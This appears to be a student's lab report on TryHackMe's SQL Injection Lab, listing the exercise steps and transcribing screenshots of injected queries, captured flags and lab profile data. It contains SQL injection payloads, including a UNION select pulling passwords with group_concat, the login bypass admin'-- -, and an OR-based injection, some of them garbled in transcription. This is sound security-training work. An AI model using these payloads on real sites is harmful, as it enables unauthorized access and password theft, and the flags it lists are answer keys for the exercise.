

NIVEDITHAA S

241901076

Ex. No.: 4

SQL INJECTION LAB

Aim: To do perform SQL Injection Lab in TryHackMe platform to exploit various vulnerabilities.

Algorithm:

1. Access the SQL Injection Lab in TryHackMe platform using the link-
<https://tryhackme.com/r/room/sqlilab>
2. Click Start AttackBox to run the instance of Kalilinux distribution.
3. Perform SQL injection attacks on the following-
 - a) Input Box Non-String
 - b) Input Box String
 - c) URL Injection
 - d) POST Injection
 - e) UPDATE Statement
4. Perform broken authentication of login forms with blind SQL injection to extract admin password
5. Perform UNION-based SQL injection and exploit the vulnerable book search function to retrieve the flag

Output:

The screenshot shows a web browser interface for the TryHackMe SQL Injection Lab. At the top, there's a navigation bar with links for Home, Notes, Profile, and Logout. The main area has a header "Logged in as" followed by a long session ID. Below this, the title "Broken Authentication 2" is displayed. A message box says "Messages" and is empty. At the bottom, there's a "Executed Query:" field containing the following SQL code:

```
SELECT id, username FROM users WHERE username = " union select 1,group_concat(password) f
```

Login

Change Password

[Main Menu]

Log in

admin'-- -	admin'-- -
Password	
<input type="button" value="Log In"/>	

Create an Account

Executed Query:

Query 1:
`SELECT username FROM users WHERE username=?`
Parameters:
admin'-- -

Query 2:
`INSERT INTO users (username, password) VALUES (?, ?)`
Parameters:
admin'-- -, aaa

Home Edit Profile Logout SQL Injection 2: Input Box String [Main Menu]

Francois's Profile

Flag	THM{356e9de6016b9ac34e02df99a5f755ba}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Executed Query:

Query 1:

TryHackMe | SQL Inject... Home Home +
10.10.151.34:5000/sql/home
Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB

Home Edit Profile Logout SQL Injection 1: Input Box Non-String [Main Menu]

Francois's Profile

Flag	THM{dccea429d73d4a6b4f117ac64724f460}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Executed Query:

Query 1:
`uall, nickName, password FROM userTable WHERE profileID=1 OR l=-- - AND password = 'ca978112ca'`

Result: Thus, the various exploits were performed using SQL Injection Attack.